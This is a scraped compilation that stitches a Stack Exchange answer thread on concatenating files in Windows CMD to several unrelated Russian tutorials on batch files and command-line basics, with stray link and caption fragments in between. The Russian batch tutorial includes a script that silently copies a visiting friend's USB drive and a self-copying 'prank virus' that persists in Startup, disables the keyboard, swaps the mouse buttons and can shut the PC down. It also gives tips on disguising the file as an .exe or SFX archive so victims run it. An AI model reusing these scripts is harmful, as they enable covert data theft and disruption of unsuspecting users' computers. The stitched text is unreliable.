A command-line or batch cmd to concatenate multiple files

I have 50 text files in one directory.

Is there a Windows command-line method to concatenate those files into a single file?

I am using Windows Vista.

I don’t want to type the name of all files.

Peter Mortensen's user avatar

asked Feb 22, 2010 at 1:59

Mirage's user avatar

I don’t want to type the name of all
files.

copy /b *.txt newfile.txt

Now you will have all text files in this folder ordered by date ascending merged into a single file called newfile.txt.

My ultimate aim is to store the
contents of each text file in a separate
column of an Excel sheet.

Here’s a tutorial that may help you to achieve your “ultimate aim”:

Merge all CSV or TXT files in a folder in one worksheet

Peter Mortensen's user avatar

answered Feb 22, 2010 at 2:27

type *.txt > newfile.txt

slhck's user avatar

69 gold badges596 silver badges585 bronze badges

answered Apr 11, 2013 at 8:55

Echeban's user avatar

4 silver badges5 bronze badges

Assuming you are talking about appending text files, the copy command can be used to append them together:

copy file1+file2+file3 targetfile

If you have many files, you could loop by appending one file at a time.

For binary files, add in the ‘/b‘ option:

copy /b file1+file2+file3 targetfile

This assumes that you know the binary files you are working with can be appended back-to-back; if not, you will get a lump of useless data.

wfaulk's user avatar

5 gold badges33 silver badges45 bronze badges

answered Feb 22, 2010 at 2:08

nik's user avatar

10 gold badges96 silver badges140 bronze badges

for %f in (*.txt) do type "%f" >> output.txt

Halil  Sen's user avatar

answered Aug 10, 2014 at 8:06

Abhishek Goel's user avatar

type NUL > MASTER.for
FOR %%G IN (*.for) DO IF NOT "%%G" == "XIT.for" copy /A MASTER.for+"%%G" && echo. >> MASTER.for

answered May 12, 2014 at 11:52

Echeban's user avatar

4 silver badges5 bronze badges

set n=50
for /l %i in (1,1,%n%) do type file%i.txt >> file.txt

Works on both binary & text files & ensures files concatenate consecutively (1-50).
Tested on Win 10 CMD

answered Apr 25, 2020 at 8:19

Zimba's user avatar

10 silver badges15 bronze badges

Содержание статьи

Вместо вступления. Что такое “батник”

Пакетные файлы (batch file) – это текстовые файлы в системе Windows, MS-DOS и OS/2, содержащие в себе команды, подготовленные для последовательного исполнения интерпритатором ОС

На первый взгляд может показаться, что данные возможности системы абсолютно бесполезны для рядового пользователя, однако это не совсем так. При помощи пакетных файлов можно существенно упростить рутинную работу с ПК, сделать её удобнее, воспользоваться некоторыми скрытыми возможностями.
Новатором и пионером в данной области я, само собой, не являюсь, просто постараюсь изложить здесь базовое представление об этом типе файлов, рассмотреть некоторые примеры и остановиться на парочке деталей и тонкостей, касающихся так называемых .

Для удобства написания и, естественно, восприятия разобью статью по разделам. Но сначала:

  • Выше уже упоминалось, что пакетный файлы – это обычные текстовые документы. Так и есть, но для того, чтобы они работали и выполняли свои функции, им нужно придать подобающий вид, т.е. поменять расширение. Вообще в Windows используется как расширение *.bat, так и *.cmd, по сути они отличаются весьма незначительно лишь некоторыми нюансами, поэтому, в целях избежания путаницы, будем говорить о bat-файлах. Т.е. чтобы создать исполняемый пакетный файл, мы открываем стандартный блокнот (либо другой, привычный вам текстовый редактор), вбиваем туда нужные нам команды и сохраняем файл с любым именем и расширением bat;
  • По сути, перечень команд, описанных в пакетном файле (батнике) может быть воспроизведён вручную в командной строке (пуск – все программы – стандартные – командная строка), упаковываем их (команды) мы исключительно для удобства, простоты и моментальности (если позволите) воспроизведения;
  • Если испытываете что-то серьёзное и не уверенны в своих действиях, лучше испытывайте детище к примеру на виртуальной машине (в крайнем случае – на компьютере соседа);
  • Список возможных к использованию команд очень велик, посмотреть его можно, набрав в командной строке help, здесь же будут расшифровываться команды по мере их появления в создаваемых батниках;
  • Все инструкции, приведённые в статье, тестировались на ОС Windows XP и Windows 7.

Часть вторая. Синтаксис при написании bat-файлов

  • Каждая команда вводится с новой строчки;
  • Все команды выполняются последовательно за исключением тех случаев, когда внутри самого батника присутствует переход к определённой его части;
  • Комментарии в пакетный файл могут быть добавлены двумя способами:
    – либо после двух двоеточий ::переход к части копирования – либо при помощи команды goto, т.е. вводится команда goto, потом место для перехода, а между ними сам комментарий

    goto begin
    ----------------------------------------
    Это батник служит для резервного копирования дипломной работы
    ----------------------------------------
    begin
  • Если команду необходимо ввести с атрибутом, то сначала вводим команду, затем пробел, слэш и, собственно, сам ключ copy /Y Чтобы посмотреть список возможных атрибутов к конкретной команде, нужно в командной строке ввести команду, затем пробел, слэш и знак вопроса dir /?
  • Для скрытия окна терминала выполняемой команды можно в начале строки поставить знак собачки @, если же требуется скрыть отображение выполнения всех команд, то проще (чтобы не ставить собачку в каждой строчке) в начале батника указать @echo off здесь команда echo off скрывает окна, а собачка впереди неё запрещает отображение выполнения самой echo off
  • Все директории внутри команд, для исключения возможных ошибок, будем вводить в кавычках;
  • По умолчанию при работе с кириллическим текстом на выходе вы можете получить иероглифы, при работе с папками/файлами, имеющими русские имена, вообще может ничего не получиться, это происходит из-за используемых кодировок, поэтому для исключения подобных неприятностей в начале пакетного файла будем указывать кодировку, корректно работающую с кириллицей следующей командой chcp 1251
  • Есть команды (например, удаление файлов, форматирование), которые могут потребовать подтверждения действий. Порой это бывает очень нежелательно, в таком случае, можно вписать ответ заранее в сам пакетный файл. Ответ записывается ДО! команды и отделяется от неё вертикальной чертой |Y|del
  • В командной строке (а значит и в пакетных файлах) при указании директории иногда бывает удобнее пользоваться переменными, нежели прописывать весь путь cd %APPDATA%

Часть третья. Резервное копирование при помощи батников

Резервное копирование данных – полезное и оттого весьма распространенное явление. Существует большое количество программ, отличающихся друг от друга функционалом, условиями распространения, уровнем (глубиной вопроса) и т.д. Бесспорно, пользоваться хорошей и красивой программой удобно и приятно, но если ваши задачи не слишком сложны, то элементарное создание бэкапов можно организовать и без использования стороннего софта, исключительно средствами ОСи.

Автоматическое копирование каталогов в папку backup

Для копирования каких-либо данных используется команда copy (копирование файла/файлов) или xcopy (копирование каталогов). Т.е., допустим, нам необходимо делать бэкап содержимого папки, в которой находятся ваши данные к дипломной работе (материалы, приложения, черновик самой работы и т.д.).
В этом случае текст будет следующим

@echo off
chcp 1251
xcopy "D:\diplom\*.*" "E:\backup\diplom\*.*"

Где D:\diplom\ – папка расположения всех материалов к диплому, а E:\backup\diplom\ – конечная директория резервной копии.
Создаём батник, кидаем его в автозагрузку (пуск – все программы – автозагрузка), и при каждом включении компьютера будет создаваться резервная копия (рк).Чуть усложним. Сделаем, чтобы при включении ПК старые данные сохранялись в папочке diplom_old, а новые в папочке diplom. Тогда батник будет иметь вид

@echo off
chcp 1251
del "E:\backup\diplom_old\" /s /q
rmdir "E:\backup\diplom_old\" /s /q
rename "E:\backup\diplom\" "diplom_old"
xcopy "D:\diplom\*.*" "E:\backup\diplom\*.*"

del удаляет ранее созданную вторую рк.
rmdir переименовывает первую рк во вторую.
xcopy создаёт новую рк.
Атрибут /s применяет команду ко всем подкаталогам, атрибут /q отключает запрос на подтверждение действий.Если в двух копиях смысла нет, можно сделать так, чтобы заменялись только те файлы, которые были изменены, те же, которые не изменились, либо вообще были удалены из исходной папки, затронуты не будут. Для этого пишем следующее

@echo off
chcp 1251
xcopy "D:\diplom\*.*" "E:\backup\diplom\*.*" /E /F /H /R /K /Y /D

Создание бэкапа в архиве

Ну и последнее, что здесь стОит рассмотреть, наверное, на данном этапе – это бэкапы в архиве
Рассмотрим изменённую предыдущую ситуацию. Допустим, нам надо, чтобы при каждом включении ПК создавалась копия папки, запакованная в архив.
Нам необходимо в автозагрузку положить батник со следующим содержимым

@echo off
chcp 1251
c:\PROGRA~1\WinRAR\WinRAR.exe a -o+ -agDD-MMM-YY–HH-MM-SS "E:\backup\" "D:\diplom\"

Архив папки D:\diplom будет создаваться в E:\backup, именем будет дата и время создания архива, т.е., например 16-Aug-12–14-06-53

Часть четвертая. Автоматизация процесса создания и удаления файлов/каталогов с использованием bat-файлов

Как создать папку из батника

Начнём с самого простого. Создание папки. Папка создаётся командой MD
Чтобы создать папку с именем backup в корне диска D:\, нам необходимо собрать следующего вида пакетный файл

@echo off
chcp 1251
MD "D:\backup"

Если же, допустим, нужна каждый день новая папочка с датой на месте имени, то батник будет иметь вид

@echo off
chcp 1251
set datetemp=%date:~-10%
MD "C:\%datetemp%"

Здесь строчкой set datetemp=%date:~-10% мы создаём переменную datatemp на время работы батника и присваиваем ей 10 символов значения системной даты;

Как создать текстовый файл из батника

С созданием пустых текстовых файлов дело чуть сложнее. Такой команды просто нет, нужно что-то в этот файл писать. Чтобы выйти из ситуации воспользуемся значением nul (это даже не нулевое значение, а его отсутствие)

@echo off
chcp 1251
copy nul "имя_файла".txt

Также, как и в примере с папкой, можно сделать именем текущую дату

@echo off
chcp 1251
set datetemp=%date:~-10%
copy nul "%datetemp%".txt

Автоматическая очистка папки из батника

Теперь, что касается удаления. Тоже достаточно часто используемая область работы для батников. Так, например, без помощи спец.программ можно при каждом запуске (опять же, поместив пакетный файл в автозагрузку) очищать temp на вашей машине. Содержимое будет следующим

@echo off
chcp 1251
cd C:\Windows\Temp\
echo Y|del *.*

Часть пятая. Прочие возможности bat-файлов

Возможностей, на самом деле, огромное множество. Здесь для примера рассмотрим некоторые из них.

Одна из самых известных возможностей использования батников – это запись содержимого каталога в файл

@echo off
chcp 1251
dir >file.txt

После выполнения этого файла, в папке, откуда он запускался, будет создан файлик , содержащий перечень всех файлов и папок в этом каталоге с указанием размера и даты последнего изменения. Можно преобразовать этот файл до вида

@echo off
chcp 1251
dir /S "c:\" >"X:\file.txt"

/S заставит батник показать содержимое не только каталога, но и всех подкаталогов.
c:\ поможет отобразить содержимое не того каталога, откуда запускается бат-файл, а нужного нам.
X:\file.txt сохранит конечный файл со списком содержимого в указанное нами место;

:/>  Свойства папки в Windows 7 - подробная информация

Запуск файлов из командной строки 

Очень часто полезным оказывается возможность запуска объектов из командной строки (в данном случае уже из бат-файлов). Причем как программ, так и других видов файлов (графических изображений, медиафайлов, текстовых документов и т.п.)
К примеру, если в автозагрузку добавить текстовый документ, то при включении ПК после загрузки системы вы его сразу увидите. Либо откроется плеер и будет проигрывать соответствующий трек. (Подробнее про способы добавления файлов в автозагрузку вы можете прочитать в статье: Автозагрузка. Добавление приложений в автозагрузку Windows)
Для того, чтобы это реализовать, нужно просто в теле бат-файла прописать точный путь до необходимого объекта. Например

@echo off
chcp 1251
"c:\Документы\напоминание.doc"

Для системных же программ нужно указать лишь её обозначение.

@echo off
chcp 1251
calc

При выполнении этого батника откроется калькулятор. В данном случае строчку chcp 1251 можно опустить (как и в некоторых ситуациях из примеров выше), однако если уж стандартизировать все наши пакетный файлы, то её можно и оставить, вреда не будет.

Часть шестая. Хитрости или шутки в сторону

Здесь рассмотрим ещё несколько интересных возможностей для применения батников. Из названия ясно, что некоторые из действий могут навредить системе (хотя это можно сделать и “голыми руками”), но если делать всё с умом, то может выйти достаточно интересно.

Шпионские штучки. Похищаем содержимое флешки

В самом начале статьи было указанно, что команды в батниках выполняются последовательно, если это не оговорено в самом теле исполнительного файла. Рассмотрим именно этот частный случай. Нуууу, допустим. Вы знаете, что к вам придёт знакомый (а может, знакомая) с просьбой произвести какие-то манипуляции с его/её флэш-карточкой, и вам очень хотелось бы слить все данные с этого накопителя на ваш ПК. Но делать это при госте не совсем удобно, да и просто можно получить “красную карточку”. Что мы в таком случае делаем? Создаём батник следующего содержания

@echo off
:test
if exist g:\ goto go
goto test
:go
xcopy "G:\*.*" "C:\упс\*.*"

Маленький вирус в автозагрузку

В общем виде всё будет выглядеть так: отправляем человечку файлик любым удобным способом, он запускает его на своём ПК, мы немного смеёмся, а потом говорим человечку, в чём соль и как всё исправить.Обычно, если что-то идёт не так, рядовой юзер первым делом перезагружает комп. Чтобы наш батник продолжал действовать и после рестарта, необходимо добавить его в автозагрузку (подчеркиваю, такие шутки проходят только с не самыми прошаренными пользователями ПК, более опытные, скорее всего, запросто найдут причину метаморфоз системы и легко избавятся от неё). Для этого в батничке пропише следующее

copy %0 c:\"documents and settings"\"all users"\"главное меню"\программы\автозагрузка
copy %0 %USERPROFILE%\AppData\Roaming\Microsoft\Windows\"Start Menu"\Programs\Startup

Начало обеих строк в виде copy %0 означает копирование “самого себя”.
Это сделали. Ещё нам хотелось бы, чтобы после запуска батника и при каждой загрузке ПК появлялась весёленькая надпись, к примеру, “ТЫ ЛАМЕР!”
Для этого добавляем следующее

Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.jse
echo WSHShell.Popup ("ТЫ ЛАМЕР!"); >> %temp%mes.js
start %temp%mes.js
deltree /y %temp%mes.js

Эта часть основанна на скриптах. Подробно расписывать не буду, кому интересно, найдёт материал в сети. Скажу лишь, что для некоторых ОС вид этого блока может слегка отличаться. Так, например, в семёрке (Win7) скрипт может выглядеть следующим образом

Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.jse
echo WSHShell.Popup ("ПИШИ СЮДА ЧТО УГОДНО"); >> %temp%mes.jse
start %temp%mes.jse
deltree /y %temp%mes.jse

Однако, и первый вариант будет работать.

Также окошко с текстом можно добавить в обход скриптов, оно будет, так сказать, стилизованное, виндовое от текущего пользователя с указанием текущей даты и времени

msg * "ТЫ ЛАМЕР!" >nul

Едем дальше, ближе к вкусностям.
Чтобы наш объект экспериментов растерялся ещё больше, в тело батника по желанию добавляем что-нибудь из следующего:

Команда rundll32 keyboard, disable отключит клавиатуру вплоть до следующей перезагрузки, а rundll32 mouse, disable то же самое проделает с мышью. Если батник в автозагрузке, то при рестарте это дело, разумеется, повторится.

rundll32 shell32, SHExitWindowsEx 1 – выключит ПК.

rundll32 shell32, SHExitWindowsEx 2 – перезагрузит ПК.

rundll32 url.dll, FileProtocolHandler https://ya.ru/ – откроет в Internet Explorer поисковую страничку яндекса (сайт вместо ya.ru, само собой, можно вписать любой). Если проявить фантазию, можно придать батнику особую пикантность.

Ну и del “%SystemRoot%Cursors*.*” >nul удалит курсоры мыши (пользоваться с осторожностью и в самых крайних случаях!)

Теперь остаётся только скомпоновать желаемые строки в единый код

@echo off
chcp 1251
rundll32 keyboard, disable
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
copy %0 c:\"documents and settings"\"all users"\"главное меню"\программы\автозагрузка
copy %0 %USERPROFILE%\AppData\Roaming\Microsoft\Windows\"Start Menu"\Programs\Startup
rundll32 url.dll, FileProtocolHandler http://www.thecleverest.com/countdown.swf
Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > 
%temp%mes.js 
echo WSHShell.Popup ("ТЫ ЛАМЕР!"); >> %temp%mes.js 
start %temp%mes.js 
deltree /y %temp%mes.js

Часть седьмая. Упаковка исполнительного файла

Здесь хочу отметить, что мало кто станет запускать ваш батник хотя бы потому, что он имеет немного подозрительный вид. Исправить это можно двумя способами:

Программный способ упаковки батников

    • конвертировать bat-файл в *.exe при помощи какой-нибудь утилитки (например, bat to exe)
    • создать sfx-архив.

Упаковка батников в SFX-архив

call sled.bat

Т.е. когда дело дойдёт до этой команды, система переключится на исполнение файла с названием sled.bat, а затем вернётся к исходному.
Если же надо, чтобы работа первого батника не прерывалась, то используем другую команду

start sled.bat

Вместо заключения

Будьте осторожны и удачных вам экспериментов

Using copy command, we can copy files from one directory to another directory. This command is similar to the Linux cp command, but it does not match with the full functionality of cp. Windows copy command can be used to copy files only, we can’t copy directories.

The syntax and usecases of copy command are explained below with examples.

Copy the contents of a file to another file

copy sourceFile destinationFile

Example: To copy a file from c:\data\file1.doc to D:\backup\file2.doc

copy c:\data\file1.doc D:\backup\file2.doc

If the destination file already exists you will be prompted for confirmation. To suppress this confirmation you can use /Y switch with copy command. This would be useful if you are executing copy command from a batch file.

c\> copy /Y c:\dir1\subdir1\file1.txt  c:\dir2\subdir2\file2.txt

Copy file to another directory

When we specify a directory path as the destination, the files will be copied with the same name. We can assign a different name by specifying the new name in the destination path. Example is shown below.

To copy the file 1.doc loated at c:\data\documents to the directory c:\data\newdocs

c\> copy c:\data\documents\1.doc  c:\data\newdocs\

Copy files with white space in name

If the file name has white space within it, we can wrap up the name in double quotes.
Example: To copy file, my resume.doc to another folder

 copy "my resume.doc"  D:\data\

Copy multiple files

We can’t specify multiple file names in copy command. However, we can use wildcards to identify a group of files and then copy all of them in a single command.
For example, to copy all excel files from current folder to another folder F:\backup

copy *.xls F:\backup\

To copy all files in current folder to another folder

copy *   D:\dir1\dir2

Use of environment variables

Copy D:\file.pdf %HOMEPATH%\Documents\

You may also want to read

Как открыть и просмотреть содержимое файла на компьютере

Файл может быть скомпилирован или создан только для просмотра определенной программой. Приведенные ниже примеры используются для открытия простого текстового файла. Если при открытии файл выглядит как мусор, используемая программа не может его просмотреть. Убедитесь, что программа, необходимая для открытия файла, установлена ​​и связана с типом файла. Если вы не знаете, какую программу использовать, определите расширение файла и просмотрите нашу страницу расширений для получения списка связанных программ.

Пользователи Microsoft Windows

Дважды щелкните файл, который вы хотите открыть. Программа, связанная с файлом, открывает этот файл.

Вы можете одновременно открывать несколько файлов, таких как документы Word, электронные таблицы Excel, обычные текстовые файлы, файлы PDF и т. Д. Соответствующие программы открывают каждый файл и отображают их на экране компьютера.

Если файл не связан с программой, вы получите приглашение «Открыть с помощью». Если вы не знаете, какую программу использовать, попробуйте использовать WordPad или Notepad.

  • В Windows при нажатии на файл появляется запрос «Открыть с помощью».

Если файл связан с программой, но вы хотите открыть его с другой программой, удерживайте нажатой клавишу Shift и щелкните файл правой кнопкой мыши. Выбрать Открыть с в раскрывающемся меню выберите программу, которую хотите использовать для открытия файла.

A command-line or batch cmd to concatenate multiple files

Альтернативный метод

  1. Откройте программу, которую вы хотите использовать для просмотра файла. Например, если вы хотите просмотреть файл в Microsoft Word, сначала откройте его.
  2. После открытия программы в меню «Файл» выберите открыто или используйте сочетание клавиш Ctrl + O,
  3. В открывшемся окне перейдите к местоположению файла, выберите файл и нажмите Ok или открыто,

Пользователи Windows также могут использовать методы, указанные ниже, чтобы открыть файл с помощью командной строки Windows.

Пользователи командной строки MS-DOS и Windows

Список файлов

Если вам нужно просмотреть список доступных файлов в текущем каталоге, вы можете использовать команду dir.

Редактировать команду

Найдите файл, который вы хотите просмотреть. В приведенном ниже примере мы открываем файл autoexec.bat в текущем каталоге.

Если файл не существует, был введен неправильно или является пустым, отображается пустое окно, подобное примеру ниже.

A command-line or batch cmd to concatenate multiple files

После того, как вы отредактировали файл или ввели информацию для файла, нажмите файли выберите Выход, Если у вас нет мыши, см. Страницу редактирования команд для сочетаний клавиш и других советов по навигации.

После нажатия кнопки «Выход», если были внесены какие-либо изменения, вас спросят, хотите ли вы сохранить файл. щелчок да чтобы завершить ваши изменения.

Команда запуска

Новые 64-разрядные версии Windows больше не поддерживают команду редактирования. Вы также можете использовать команду запуска, чтобы открыть файл в текстовом редакторе, таком как Блокнот, используя команду, подобную примеру ниже.

В приведенном выше примере, если файл «hope.txt» не существует в текущем каталоге, вам будет предложено создать новый файл.

Команда запуска также может быть использована для открытия любого файла на вашем компьютере. Например, если на компьютере установлено приложение Microsoft Word и вы хотите открыть документ Word из командной строки, введите следующее:

  • Смотрите нашу стартовую командную страницу для получения дополнительной информации.

Введите команду

Если вы хотите только просмотреть содержимое файла, вы также можете использовать команду типа:

В приведенном выше примере команда отобразит все содержимое файла hope.txt в файле. Если это большой файл, он будет продолжать прокручиваться, пока вы не нажмете кнопку паузы. Для больших файлов вы также можете направить команду к more, как показано в примере ниже.

:/>  [Решено] Сбой Touch ID после обновления iOS 12 / 11: вот как это исправить

В предыдущем примере команда type отображает содержимое по одной странице за раз. Нажатие клавиши «Ввод» будет продвигать вывод по одной строке за раз, а нажатие клавиши «пробел» переместит одну страницу за раз.

  • В MS-DOS вы также можете использовать команду type для отображения содержимого текстового файла.

Копировать кон

Если вы не можете использовать любой из перечисленных выше методов, вы также можете использовать copy con для создания файла.

После того, как вы ввели вышеупомянутую команду, будет создан файл hope.txt.

После того, как вы набрали все строки, вы хотите быть в файле, нажмите и удерживайте Ctrl + Z. После того, как ^ Z отобразится на экране, нажмите Enter, чтобы сохранить файл.

Метод copy con создает только базовый файл. Он не позволяет редактировать файл или вернуться назад и исправить любые ошибки, допущенные при создании строки в файле.

Пользователи MacOS

На компьютере Mac можно дважды щелкнуть файл, чтобы открыть файл в программе, связанной с типом файла, который вы открываете. Как только файл открыт, вы можете просмотреть его содержимое и внести в него изменения.

Вы также можете открыть файл, выбрав его на рабочем столе или в приложении Finder. Затем нажмите клавишу Command + клавишу со стрелкой вниз.

Microsoft Windows Explorer

У пользователей Windows есть дополнительная утилита в виде Explorer. Любой файл, который вам нужно найти, можно найти через него. Нажмите клавишу Windows и «E» одновременно, чтобы получить доступ к Windows Explorer.

Пользователи Unix и Linux

Список файлов

Если вам нужно просмотреть список доступных файлов в текущем каталоге, вы можете использовать команду ls.

Открытие, создание, редактирование и просмотр файлов в Linux

Из-за всех доступных опций для каждого из различных вариантов Linux мы дали этому разделу отдельную страницу:

Как отобразить содержимое текстового файла в CMD?

Я хочу отобразить содержимое текстового файла в окне CMD. Кроме того, я хочу видеть новые строки, которые добавляются в файл, например tail -f команда в Unix.

Вы можете использовать more команду. Например:

Мы можем использовать команду «type» для просмотра содержимого файла в cmd.

Я не думаю, что есть встроенная функция для этого

Это открывает файлы в текстовом редакторе по умолчанию в Windows .

Это отображает файл в текущем окне. Может быть, у этого есть параметры, которые вы можете использовать .

Здесь есть похожий вопрос: пакетный скрипт CMD.EXE для отображения последних 10 строк из текстового файла. Итак, есть команда «more» для отображения файла из данной строки, или вы можете использовать утилиты GNU для Win32, что предложил Брайанф в его ссылке.

Вы можете использовать команду «more» для просмотра содержимого файла:

Используя одну команду PowerShell для получения окончания файла:

Это относится к PowerShell 3.0 и новее.

Другой вариант — создать файл с именем TAIL.CMD с этим кодом:

Чтобы получить последние пять строк в текстовом файле, просто прочитайте файл, используя Get-Content , а затем Select-Object выберите последние пять элементов / строк для вас:

В Windows нет встроенной опции. Для постоянного мониторинга журналов вы можете использовать это бесплатное приложение BareTailPro .

Утилиту TAIL можно получить из средств Windows Server 2003 Resource Kit .

Если вы хотите, чтобы он отображал содержимое файла в реальном времени и обновлялся при изменении файла, просто используйте этот скрипт:

Это будет повторяться до тех пор, пока вы не закроете окно cmd.

Вы можете сделать это несколькими способами:

Если вы спрашиваете, что использовать, используйте more команду, поскольку она сделает паузу.

Если вы хотите отобразить, например, все имя файла .config (или .ini) и содержимое файла в одном документе для справки пользователя (и под этим я подразумеваю пользователя, не знающего команду оболочки, т.е. 95% из них), вы можете попробовать это:

Как открыть файл через командную строку

Помощь командной строки незаменима при сбоях в работе компьютера. Начало получения навыков обычно связано с работой, как открыть, копировать, выполнять запуск, удалить файл. Как будет выглядеть алгоритм действий при каждом из составляющих работы, вы сможете увидеть ниже. Начнём с вопроса, как открыть файл через командную строку, затем покажем, как запустить программы, удалить их, копировать фрагмент текста. С этими задачами справится новичок, однако давно работающим с компьютером полезно вспомнить либо изучить эти варианты проведения обычных процессов.

A command-line or batch cmd to concatenate multiple files

В командной строке Windows можно полноценно работать с файлами.

Открываем файлы

Иногда через Менеджер, Проводник не получается открыть файлы, тогда поможет вам командная строка. Необходимо будет лишь запомнить несколько команд.

Итак, вы запустили программу, хотите открыть один из документов. Следуйте такому алгоритму.

  1. Найдите каталог, где расположен ваш файл. При запуске вы находитесь в диске C, в каталоге Windows/system
  2. Команда, позволяющая просмотреть, что входит в каталог — dir. Для постраничного просмотра добавляют «/p». После подтверждения вами выполнения команд, откроется список, где отразится содержимое папки. A command-line or batch cmd to concatenate multiple files
  3. Чтобы перейти на следующую страницу, следует нажать Enter.
  4. Если необходимо, чтобы отразились в списке только подкаталоги, в команду добавляется ключ «/ad», для отображения исключительно файлов — «/b».
  5. Чтобы перейти в другую папку, вписываете в строку cd и путь к папке. Например, запись может выглядеть так: «cd C:Windows». Значит, вы шагнёте из system32, где оказались по умолчанию, в папку Windows, перейдя тем самым назад на один уровень. A command-line or batch cmd to concatenate multiple files
  6. Зайдя в нужный каталог, вписываем имя. Откроется документ в программе, в которой должен открыться по умолчанию.

В последующем, запомнив путь, чтобы выполнить запуск, не нужно будет проходить в каталог, достаточно сразу в строке вписать полный путь.

Запуск, закрытие программ

Рассмотрим, как запустить файл с командной строки, ежели он является программным. Здесь будет иметь значение, входит ли приложение в пакет Windows или вам понадобилось стороннее приложение. Если открываемое приложение является частью компонентов Windows, запуск производится вписыванием в консоль его имени, затем нажимаете Enter. Не требуется указывать расширение. Допустим, вам потребовался запуск «Блокнота», значит, просто наберите слово notepad, нажав затем Enter.

A command-line or batch cmd to concatenate multiple files

Если программа является сторонней, следует вписать полный путь к ней. Например, вам понадобился запуск архиватора WinRAR, значит, вы вписываете следующее:

Путь записывайте в кавычках, если в адресе к нему имеются пробелы. Кавычки при этом нужны прямые — не в виде запятых. При неправильных кавычках программа не откроется. Кавычки не надо копировать, их впечатываете непосредственно в командную строку, без применения буфера обмена. На английской раскладке нужные кавычки находятся в сочетании клавиш Shift + Э.

Для закрытия приложений применяют программу taskkill. Вначале наберите tasklist, для вашего просмотра выйдет список процессов. Впишите номер индикатора в команде, например «taskkill /pid 3900/f», для подтверждения нажмите Enter. 3900 — это номер идентификатора.

Поиск по расширению

Командная строка поможет найти нужный файл по его расширению, если не помните его точного названия. Чтобы найти файл через командную строку, нужно запомнить применяемую в таком случае команду. Набираете dir и нужное вам расширение через звёздочку. Допустим, ищите один из экзешников, значит, набираете:

На экран будут выведены все файлы с данным расширением, вам останется найти среди них нужный. Если поиск требуется вести в подкаталогах, добавьте ключ «/S». Полная команда для поиска файла в диске C, включая поиск в подкаталогах, будет выглядеть так:

Удаление

Удалить ненужные системные файлы также можно посредством рассматриваемой программы. Удалить файл через командную строку несложно. Для удаления применяется команда del. После неё прописывается путь к искомому документу. Например, желаете удалить 123.txt. Вписываете следующее: «del C:Windows123.txt».

Копирование текста

OS Windows, заботясь об убыстрении, облегчении работы на ПК, создала горячие клавиши — комбинации, позволяющие быстро копировать текст, вставить его в другой файл. Это сочетания Ctrl+V или Shift+Insert.

В командной строке это не работает. Чтобы копировать информацию в ней, нужно вначале её настроить.

  1. Нажмите сочетание «Alt + Space (пробел) + Q». Откроется окошко со свойствами командной строки. A command-line or batch cmd to concatenate multiple files
  2. Пройдите на вкладку «Общие», в группу «Редактирование», отметьте пункт «Быстрая вставка». А также нужно активировать «Выделение мышью». A command-line or batch cmd to concatenate multiple files
  3. Нажав ОК для подтверждения действий, увидите несколько вариантов подобной функции. Отметьте одно поле, нажмите ОК.

Теперь, чтобы копировать фрагмент текста из командной строки, выделите его мышкой, нажмите сочетание Ctrl+C.

Все эти навыки вам пригодятся, если не получается выполнить нужный процесс обычным путём из-за сбоев, неполадок в компьютере. Несложные действия, легко запоминающийся алгоритм, чёткие инструкции — всё помогает вам более профессионально решать поставленные вопросы. Нужно лишь запомнить перечень команд, соблюдать правила вписывания их (например, когда нужно проставлять кавычки и какие), чётко, безошибочно вписывать путь к требуемому файлу.

Выполнение множества задач в операционных системах Windows возможно не только при использовании привычного графического пользовательского интерфейса, но и при помощи интерпретатора командной строки (командной строки, консоли). Через него можно изменять различные системные параметры, управлять файлами и папками, запускать системные компоненты и любые программы, выполнять иные операции. Рассмотрим наиболее важные команды командной строки Windows, которые могут пригодиться любому пользователю.

Как открыть командную строку Windows?

Некоторые из консольных команд можно выполнить лишь из учетной записи администратора. Потому лучше сразу запомнить, как запускать интерпретатор с максимальным количеством прав доступа к системе. В ОС Windows 7/8/10 делается это просто:

  • Откройте «Поиск» в/около меню «Пуск».
  • Впишите поле поиска «Командная строка».
  • В результатах поиска отобразится нужная нам программа. Кликните по ней правой кнопкой мыши, затем выберите из выпадающего меню пункт «Запустить от имени администратора».

A command-line or batch cmd to concatenate multiple files

Но для выполнения простых команд консоль Windows можно запускать и без прав администратора. Проще всего это сделать следующим образом:

  • Нажмите на клавиатуре клавиши «Win» и «R».
  • Откроется окно «Выполнить».
  • Впишите в него команду cmd и нажмите «ОК».

A command-line or batch cmd to concatenate multiple files

Так или иначе, системное приложение «Командная строка Windows» будет запущена и готова выполнению пользовательских команд:

A command-line or batch cmd to concatenate multiple files

Параметры команд и получение помощи

Прежде чем приступать к изучению команд, следует понимать два важных момента:

  • У многих команд существуют изменяемые параметры, уточняющие выполнение командой той или иной функции.
  • По любой команде можно получить помощь прямо в окне интерпретатора. Для этого следует сразу после команды вписать «/?«, что также является параметром.

Возьмем, к примеру, одну из наиболее востребованных команд ping. Впишите в консоль следующую строку:

A command-line or batch cmd to concatenate multiple files

Подобным способом можно получить справку по большинству команд (в основном по тем, у которых имеются атрибуты).

Запуск системных компонентов и программ из командной строки

Здесь стоит отметить, что запускать системные компоненты и программы все же проще не напрямую из командной строки, а из ранее упомянутого приложения «Выполнить». Но разницы в синтаксисе (написании) самих команд никакой нет. В обоих случаях после ввода команды достаточно нажать «Enter».

:/>  Как сделать красивый рабочий стол в Windows 10

Вот список наиболее востребованных команд для запуска системных приложений и компонентов:

  • control — запуск «Панели управления Windows».

A command-line or batch cmd to concatenate multiple files

  • regedit — запуск «Редактора реестра».

A command-line or batch cmd to concatenate multiple files

  • devmgmt.msc — запуск «Диспетчера устройств».

A command-line or batch cmd to concatenate multiple files

  • taskmgr — запуск «Диспетчера задач».

A command-line or batch cmd to concatenate multiple files

  • services.msc — запуск приложения «Службы».

A command-line or batch cmd to concatenate multiple files

  • appwiz.cpl — «Программы и компоненты» («Установка и удаление программ»).

A command-line or batch cmd to concatenate multiple files

И это далеко не полный список команд запуска системных приложений и компонентов, а лишь самые востребованные у нас — обычных пользователей.

А вот 4 команды для запуска предустановленных (стандартных) в Windows программ:

  • calc — запуск «Калькулятора».

A command-line or batch cmd to concatenate multiple files

  • mspaint — запуск графического редактора «Paint».

A command-line or batch cmd to concatenate multiple files

  • notepad — запуск текстового редактора «Блокнот».

A command-line or batch cmd to concatenate multiple files

  • wordpad — запуск текстового редактора «WordPad»

A command-line or batch cmd to concatenate multiple files

